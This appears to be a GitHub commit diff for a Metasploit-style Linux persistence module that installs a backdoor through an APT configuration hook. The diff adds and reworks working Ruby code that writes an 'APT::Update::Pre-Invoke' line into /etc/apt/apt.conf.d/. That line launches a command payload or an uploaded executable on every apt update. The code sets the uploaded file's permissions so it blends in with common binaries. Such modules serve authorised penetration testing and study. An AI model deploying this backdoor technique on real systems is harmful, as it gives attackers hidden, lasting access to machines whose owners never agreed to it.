Skip to content

Commit 64a3911

Browse files
committed
apt_package_manager payload optimizations
1 parent 2d6f77c commit 64a3911

File tree

1 file changed

+16
-21
lines changed

1 file changed

+16
-21
lines changed

modules/exploits/linux/persistence/apt_package_manager.rb

Lines changed: 16 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -59,12 +59,10 @@ def initialize(info = {})
5959
register_options(
6060
[
6161
OptString.new('HOOKNAME', [false, 'Name of hook file to write']),
62-
OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']),
62+
OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write']),
6363
OptString.new('HOOKPATH', [true, 'The directory where the apt configurations are located', '/etc/apt/apt.conf.d/'])
6464
]
6565
)
66-
67-
deregister_options('WritableDir')
6866
end
6967

7068
def check
@@ -82,33 +80,30 @@ def install_persistence
8280
hook_path = datastore['HOOKPATH']
8381
hook_path << (datastore['HOOKNAME'] || "#{rand_text_numeric(2)}#{rand_text_alpha(5..8)}")
8482

85-
backdoor_path = datastore['WritableDir']
86-
backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
87-
backdoor_path << backdoor_name
88-
89-
print_status('Attempting to write hook:')
90-
hook_script = %(APT::Update::Pre-Invoke {"setsid #{backdoor_path} 2>/dev/null &"};)
91-
write_file(datastore['HOOKPATH'], hook_script)
92-
93-
fail_with Failure::Unknown, 'Failed to write Hook' unless exist?(datastore['HOOKPATH'])
94-
95-
print_status("Wrote #{datastore['HOOKPATH']}")
96-
9783
if payload.arch.first == 'cmd'
98-
write_file(backdoor_path, payload.encoded)
84+
hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload.encoded} 2>/dev/null &"};)
9985
else
86+
backdoor_path = datastore['WritableDir']
87+
backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
88+
backdoor_path << backdoor_name
10089
write_file(backdoor_path, generate_payload_exe)
90+
fail_with Failure::Unknown, "Failed to write #{backdoor_path}" unless exist?(backdoor_path)
91+
print_status("Backdoor uploaded #{backdoor_path}")
92+
# permissions chosen to reflect common perms in /usr/local/bin/
93+
chmod(backdoor_path, 0o755)
94+
95+
print_status('Attempting to write hook')
96+
hook_script = %(APT::Update::Pre-Invoke {"setsid #{backdoor_path} 2>/dev/null &"};)
97+
@clean_up_rc << "rm #{backdoor_path}\n"
10198
end
99+
write_file(datastore['HOOKPATH'], hook_script)
102100

103-
fail_with Failure::Unknown, "Failed to write #{backdoor_path}" unless exist?(backdoor_path)
101+
fail_with Failure::Unknown, 'Failed to write Hook' unless exist?(datastore['HOOKPATH'])
104102

105-
print_status("Backdoor uploaded #{backdoor_path}")
106-
# permissions chosen to reflect common perms in /usr/local/bin/
107-
chmod(backdoor_path, 0o755)
103+
print_status("Wrote #{datastore['HOOKPATH']}")
108104

109105
print_good('Backdoor will run on next APT update')
110106

111107
@clean_up_rc << "rm #{datastore['HOOKPATH']}\n"
112-
@clean_up_rc << "rm #{backdoor_path}\n"
113108
end
114109
end

0 commit comments

Comments
 (0)